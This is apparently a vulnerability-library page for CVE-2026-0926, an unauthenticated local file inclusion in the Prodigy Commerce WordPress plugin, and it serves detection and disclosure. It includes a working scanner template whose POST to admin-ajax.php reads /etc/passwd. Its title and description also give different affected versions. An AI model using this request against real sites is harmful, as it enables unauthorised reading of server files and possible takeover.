/Vulnerability Library

Prodigy Commerce <= 3.3.0 - Local File Inclusion

CVE-2026-0926
Verified

Description

Prodigy Commerce WordPress plugin <= 3.2.9 contains a local file inclusion caused by improper sanitization of 'parameters[template_name]' parameter, letting unauthenticated attackers include and execute arbitrary files remotely.

Severity

Critical

CVSS Score

9.8

Exploit Probability

20%

Published Date

March 13, 2026

Template Author

shivam kamboj

CVE-2026-0926.yaml
id: CVE-2026-0926

info:
  name: Prodigy Commerce <= 3.3.0 - Local File Inclusion
  author: Shivam Kamboj
  severity: critical
  description: |
    Prodigy Commerce WordPress plugin <= 3.2.9 contains a local file inclusion caused by improper sanitization of 'parameters[template_name]' parameter, letting unauthenticated attackers include and execute arbitrary files remotely.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data, potentially leading to full server compromise.
  remediation: |
    Update to the latest version beyond 3.2.9.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/prodigy-commerce/prodigy-commerce-329-unauthenticated-local-file-inclusion-via-parameterstemplate-name
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0926
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-0926
    epss-score: 0.20273
    epss-percentile: 0.95602
    cwe-id: CWE-98
  metadata:
    max-request: 2
    verified: true
  tags: cve,cve2026,wordpress,wp,wp-plugin,lfi,prodigy-commerce,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'var settings\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=prodigy-render-my-account-widget&nonce={{nonce}}&parameters[template_name]=etc/passwd&parameters[default_path]=/

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402206e9ba920d31b015a461460716e46fbf15156afc48cbee623463a60232014f89a0220510c95e53487a69701d8d6b5fa91aa21a90719ca8453fdf11496073deba56b49:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-0926
CWE ID:
cwe-98

References

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/prodigy-commerce/prodigy-commerce-329-unauthenticated-local-file-inclusion-via-parameterstemplate-namehttps://nvd.nist.gov/vuln/detail/CVE-2026-0926

Remediation Steps

Update to the latest version beyond 3.2.9.